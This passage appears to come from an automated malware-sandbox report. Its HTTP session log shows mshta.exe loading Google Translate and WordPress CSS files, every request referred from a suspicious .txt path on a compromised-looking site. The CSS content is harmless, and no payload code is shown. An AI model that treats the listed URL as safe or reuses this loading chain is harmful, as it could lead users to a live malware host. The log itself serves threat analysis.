Aug 16, 2022 11:53:18.772950888 CEST	45	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49176	142.250.181.238	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:18.765304089 CEST	37	OUT	GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: translate.google.com Connection: Keep-Alive
Aug 16, 2022 11:53:18.797374010 CEST	46	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 16 Aug 2022 09:53:18 GMT Location: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2 Cross-Origin-Opener-Policy: same-origin-allow-popups Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49174	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:18.864274025 CEST	92	OUT	GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:19.080110073 CEST	156	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:45 GMT Server: Apache ETag: "a5303e-6698-58592d3483f00" Last-Modified: Tue, 02 Apr 2019 21:29:00 GMT Content-Length: 26264 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588378 21188777 Age: 213 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0a 2a 0a 2a 09 47 45 4e 45 52 41 4c 0a 2a 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 61 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 69 6d 67 2c 20 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 6f 6c 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 75 6c 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 6c 69 2c 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 61 62 6c 65 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 62 6f 64 79 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 66 6f 6f 74 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 68 65 61 64 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 72 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 68 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 64 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 61 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 69 6d 67 2c 20 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 6f 6c 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 75 6c 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 6c 69 2c 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 61 62 6c 65 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 62 6f 64 79 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 66 6f 6f 74 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 68 65 61 64 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 72 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 68 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 64 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 3a 20 30 3b 0a 09 66 6f 6e 74 3a 20 69 6e 68 65 72 69 74 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 09 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 30 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 69 6d 67 20 7b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 20 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 66 61 6b 65 68 6f 76 65 72 20 7b 0a 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 30 70 78 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 31 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 7b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a Data Ascii: /**************************GENERAL*************************/.camera_wrap a, .camera_wrap img, .camera_wrap ol, .camera_wrap ul, .camera_wrap li,.camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td.camera_thumbs_wrap a, .camera_thumbs_wrap img, .camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li,.camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td {background: none;border: 0;font: inherit;font-size: 100%;margin: 0;padding: 0;vertical-align: baseline;list-style: none}.camera_wrap {display: none;float: left;position: relative;z-index: 0;}.camera_wrap img {max-width: none!important;}.camera_fakehover {height: 100%;min-height: 60px;position: relative;width: 100%;z-index: 1;}.camera_wrap {width: 100%;
Aug 16, 2022 11:53:19.080274105 CEST	157	IN	Data Raw: 7d 0a 2e 63 61 6d 65 72 61 5f 73 72 63 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 63 61 6d 65 72 61 43 6f 6e 74 2c 20 2e 63 61 6d 65 72 61 43 6f 6e 74 65 6e 74 73 20 7b 0a 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 70 Data Ascii: }.camera_src {display: none;}.cameraCont, .cameraContents {height: 100%;position: relative;width: 100%;z-index: 1;}.cameraSlide {bottom: 0;left: 0;position: absolute;right: 0;top: 0;width: 100%;}.cameraContent {b
Aug 16, 2022 11:53:19.080295086 CEST	158	IN	Data Raw: 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 2e 63 61 6d 65 72 61 5f 6c 65 66 74 20 2e 63 61 6d 65 72 61 5f 62 61 72 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 2e 63 61 6d 65 72 61 5f 72 69 67 68 74 20 2e 63 61 6d 65 Data Ascii: camera_thumbs_wrap.camera_left .camera_bar, .camera_thumbs_wrap.camera_right .camera_bar {height: 100%;position: absolute;width: auto;}.camera_thumbs_wrap.camera_bottom .camera_bar, .camera_thumbs_wrap.camera_top .camera_bar {height:
Aug 16, 2022 11:53:19.080312967 CEST	160	IN	Data Raw: 3a 20 33 30 70 78 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 63 6f 6d 6d 61 6e 64 5f 77 72 61 70 20 2e 68 69 64 65 4e 61 76 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 63 6f 6d 6d 61 6e 64 5f 77 72 61 70 20 7b Data Ascii: : 30px;}.camera_command_wrap .hideNav {display: none;}.camera_command_wrap {left: 0;position: relative;right:0;z-index: 4;}.camera_wrap .camera_pag .camera_pag_ul {list-style: none;margin: 0;padding: 0;text-align: cente
Aug 16, 2022 11:53:19.080332041 CEST	161	IN	Data Raw: 70 78 20 31 70 78 20 30 70 78 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 31 29 2c 0a 09 09 69 6e 73 65 74 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 32 29 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 Data Ascii: px 1px 0px rgba(255,255,255,1),inset 0px 1px 1px rgba(0,0,0,0.2);}.camera_wrap .camera_pag .camera_pag_ul li.cameracurrent > span {-moz-box-shadow: 0;-webkit-box-shadow: 0;box-shadow: 0;}.camera_pag_ul li img {display: none;po
Aug 16, 2022 11:53:19.080349922 CEST	162	IN	Data Raw: 75 73 3a 20 38 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 38 70 78 3b 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 68 65 69 67 68 74 3a 20 31 Data Ascii: us: 8px;border-radius: 8px;cursor: pointer;display: inline-block;height: 16px;margin: 20px 5px;position: relative;text-indent: -9999px;width: 16px;}.camera_thumbs_cont {-webkit-border-bottom-right-radius: 4px;-webkit-bord
Aug 16, 2022 11:53:19.080554008 CEST	164	IN	Data Raw: 35 70 78 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0a 2a 0a 2a 09 43 4f 4c 4f 52 53 20 26 20 53 4b 49 4e 53 0a 2a 0a 2a 2a 2a 2a 2a Data Ascii: 5px;position: relative;}/**************************COLORS & SKINS*************************/.pattern_1 .camera_overlayer {background: url(../images/patterns/overlay1.png) repeat;}.pattern_2 .camera_overlayer {background: url
Aug 16, 2022 11:53:19.080574036 CEST	165	IN	Data Raw: 20 73 70 61 6e 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 34 33 34 36 34 38 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 70 61 67 5f 75 6c 20 6c 69 20 69 6d 67 20 7b 0a 09 62 6f 72 64 65 72 3a 20 34 70 78 20 73 6f 6c 69 64 20 23 65 36 65 36 65 36 Data Ascii: span {background: #434648;}.camera_pag_ul li img {border: 4px solid #e6e6e6;-moz-box-shadow: 0px 3px 6px rgba(0,0,0,.5);-webkit-box-shadow: 0px 3px 6px rgba(0,0,0,.5);box-shadow: 0px 3px 6px rgba(0,0,0,.5);}.camera_pag_ul .thumb
Aug 16, 2022 11:53:19.080590963 CEST	167	IN	Data Raw: 6e 20 2e 63 61 6d 65 72 61 5f 63 6f 6d 6d 61 6e 64 73 20 3e 20 2e 63 61 6d 65 72 61 5f 70 6c 61 79 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 38 30 70 78 20 2d 32 30 30 70 78 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f Data Ascii: n .camera_commands > .camera_play {background-position: -80px -200px;}.camera_ash_skin .camera_commands > .camera_stop {background-position: -120px -200px;}/AZURE SKIN/.camera_azure_skin .camera_prevThumbs div {background-position
Aug 16, 2022 11:53:19.080610037 CEST	168	IN	Data Raw: 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 39 30 70 78 20 2d 34 30 70 78 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 62 6c 61 63 6b 5f 73 6b 69 6e 20 2e 63 61 6d 65 72 61 5f 70 72 65 76 20 3e 20 73 70 61 6e 20 7b 0a Data Ascii: {background-position: -190px -40px;}.camera_black_skin .camera_prev > span {background-position: 0 -40px;}.camera_black_skin .camera_next > span {background-position: -40px -40px;}.camera_black_skin .camera_commands > .camera_play
Aug 16, 2022 11:53:19.303778887 CEST	220	IN	Data Raw: 63 6f 6d 6d 61 6e 64 73 20 3e 20 2e 63 61 6d 65 72 61 5f 73 74 6f 70 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 32 30 70 78 20 2d 33 32 30 70 78 3b 0a 7d 0a 2f 2a 42 55 52 47 55 4e 44 59 20 53 4b 49 4e 2a 2f Data Ascii: commands > .camera_stop {background-position: -120px -320px;}/BURGUNDY SKIN/.camera_burgundy_skin .camera_prevThumbs div {background-position: -160px -360px;}.camera_burgundy_skin .camera_nextThumbs div {background-position: -190p
Aug 16, 2022 11:53:19.310141087 CEST	233	OUT	GET /wp-content/themes/theme51253/style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:19.543901920 CEST	256	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:45 GMT Server: Apache ETag: "a53798-171-58592c24b7dc0" Last-Modified: Tue, 02 Apr 2019 21:24:15 GMT Content-Length: 369 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588380 18315299 Age: 214 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2d 2d 0a 09 54 68 65 6d 65 20 4e 61 6d 65 3a 20 74 68 65 6d 65 35 31 32 35 33 0a 09 54 68 65 6d 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 74 68 65 6d 65 20 66 6f 72 20 57 6f 72 64 70 72 65 73 73 20 34 2e 34 2e 78 0a 09 41 75 74 68 6f 72 3a 20 54 65 6d 70 6c 61 74 65 5f 48 65 6c 70 2e 63 6f 6d 0a 09 41 75 74 68 6f 72 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 54 65 6d 70 6c 61 74 65 3a 20 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 0a 09 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 35 0a 2d 2d 2a 2f 0a 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 50 6c 65 61 73 65 2c 20 59 6f 75 20 6d 61 79 20 70 75 74 20 63 75 73 74 6f 6d 20 43 53 53 20 68 65 72 65 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a Data Ascii: /--Theme Name: theme51253Theme URI: http://info.template-help.com/help/Description: A theme for Wordpress 4.4.xAuthor: Template_Help.comAuthor URI: http://info.template-help.com/help/Template: CherryFrameworkVersion: 3.1.5--//* ----------------------------------------Please, You may put custom CSS here---------------------------------------- */
Aug 16, 2022 11:53:19.547301054 CEST	256	OUT	GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:19.768551111 CEST	359	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:19 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT ETag: "a50de6-2b5-5c93d38685a84" Accept-Ranges: bytes Content-Length: 693 Connection: close Content-Type: text/css Data Raw: 61 2e 67 66 6c 61 67 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 70 61 64 64 69 6e 67 3a 31 70 78 20 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 32 34 2e 70 6e 67 29 3b 7d 0a 61 2e 67 66 6c 61 67 20 69 6d 67 20 7b 62 6f 72 64 65 72 3a 30 3b 68 65 69 67 68 74 3a 32 34 70 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 7d 0a 61 2e 67 66 6c 61 67 3a 68 6f 76 65 72 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 32 34 61 2e 70 6e 67 29 3b 7d 0a 69 6d 67 2e 67 73 74 61 74 73 20 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 0a 61 2e 61 6c 74 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 61 6c 74 5f 66 6c 61 67 73 2e 70 6e 67 29 3b 7d 0a 61 2e 61 6c 74 5f 66 6c 61 67 3a 68 6f 76 65 72 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 61 6c 74 5f 66 6c 61 67 73 61 2e 70 6e 67 29 3b 7d 0a 61 2e 75 73 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 61 2e 62 72 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 30 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 61 2e 6d 78 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 30 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 0a 61 2e 67 6c 69 6e 6b 20 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 7d 0a 61 2e 67 6c 69 6e 6b 20 73 70 61 6e 20 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 7d 0a 61 2e 67 6c 69 6e 6b 20 69 6d 67 20 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 62 6f 72 64 65 72 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6f 70 61 63 69 74 79 3a 30 2e 38 3b 7d 0a 61 2e 67 6c 69 6e 6b 3a 68 6f 76 65 72 20 69 6d 67 20 7b 6f 70 61 63 69 74 79 3a 31 3b 7d Data Ascii: a.gflag {font-size:24px;padding:1px 0;background-repeat:no-repeat;background-image:url(24.png);}a.gflag img {border:0;height:24px;display:inline;}a.gflag:hover {background-image:url(24a.png);}img.gstats {display:none;}a.alt_flag {background-image:url(alt_flags.png);}a.alt_flag:hover {background-image:url(alt_flagsa.png);}a.us_flag {background-position:-0px -100px;}a.br_flag {background-position:-100px -100px;}a.mx_flag {background-position:-200px -100px;}a.glink {text-decoration:none;}a.glink span {margin-right:5px;font-size:15px;vertical-align:middle;}a.glink img {vertical-align:middle;display:inline;border:0;padding:0;margin:0;opacity:0.8;}a.glink:hover img {opacity:1;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49179	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:19.987013102 CEST	379	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:20.202651024 CEST	390	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:20 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT ETag: "a4fabd-1735-58592f81e2d80" Accept-Ranges: bytes Content-Length: 5941 Connection: close Content-Type: text/css Data Raw: 2f 2a 0a 20 2a 20 6a 51 75 65 72 79 20 46 6c 65 78 53 6c 69 64 65 72 20 76 32 2e 32 2e 30 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 6f 6f 74 68 65 6d 65 73 2e 63 6f 6d 2f 66 6c 65 78 73 6c 69 64 65 72 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 57 6f 6f 54 68 65 6d 65 73 0a 20 2a 20 46 72 65 65 20 74 6f 20 75 73 65 20 75 6e 64 65 72 20 74 68 65 20 47 50 4c 76 32 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6e 75 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 67 70 6c 2d 32 2e 30 2e 68 74 6d 6c 0a 20 2a 0a 20 2a 20 43 6f 6e 74 72 69 62 75 74 69 6e 67 20 61 75 74 68 6f 72 3a 20 54 79 6c 65 72 20 53 6d 69 74 68 20 28 40 6d 62 6d 75 66 66 66 69 6e 29 0a 20 2a 2f 0a 0a 0a 2f 2a 20 42 72 6f 77 73 65 72 20 52 65 73 65 74 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 66 6c 65 78 2d 63 6f 6e 74 61 69 6e 65 72 20 61 3a 61 63 74 69 76 65 2c 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 61 3a 61 63 74 69 76 65 2c 0a 2e 66 6c 65 78 2d 63 6f 6e 74 61 69 6e 65 72 20 61 3a 66 6f 63 75 73 2c 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 61 3a 66 6f 63 75 73 20 20 7b 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 3b 7d 0a 2e 73 6c 69 64 65 73 2c 0a 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 2c 0a 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 7b 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 7d 0a 2e 66 6c 65 78 73 6c 69 64 65 72 2d 72 74 6c 20 7b 64 69 72 65 63 74 69 6f 6e 3a 72 74 6c 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 3b 7d 0a 2f 2a 20 49 63 6f 6e 20 46 6f 6e 74 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2f 2a 20 46 6f 6e 74 2d 66 61 63 65 20 49 63 6f 6e 73 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 27 3b 0a 09 73 72 63 3a 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 65 6f 74 27 29 3b 0a 09 73 72 63 3a 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 65 6f 74 3f 23 69 65 66 69 78 27 29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 27 29 2c 0a 09 09 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 0a 09 09 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 74 74 66 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 2c 0a 09 09 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 73 76 67 23 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 27 29 20 66 6f 72 6d 61 74 28 27 73 76 67 27 29 3b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 7d 0a 0a 2f 2a 20 46 6c 65 78 53 6c 69 64 65 72 20 4e 65 63 65 73 73 61 72 79 20 53 74 79 6c 65 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 7b 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 Data Ascii: /* * jQuery FlexSlider v2.2.0 * http://www.woothemes.com/flexslider/ * * Copyright 2012 WooThemes * Free to use under the GPLv2 license. * http://www.gnu.org/licenses/gpl-2.0.html * * Contributing author: Tyler Smith (@mbmufffin) // Browser Resets********************************/.flex-container a:active,.flexslider a:active,.flex-container a:focus,.flexslider a:focus {outline: none;}.slides,.flex-control-nav,.flex-direction-nav 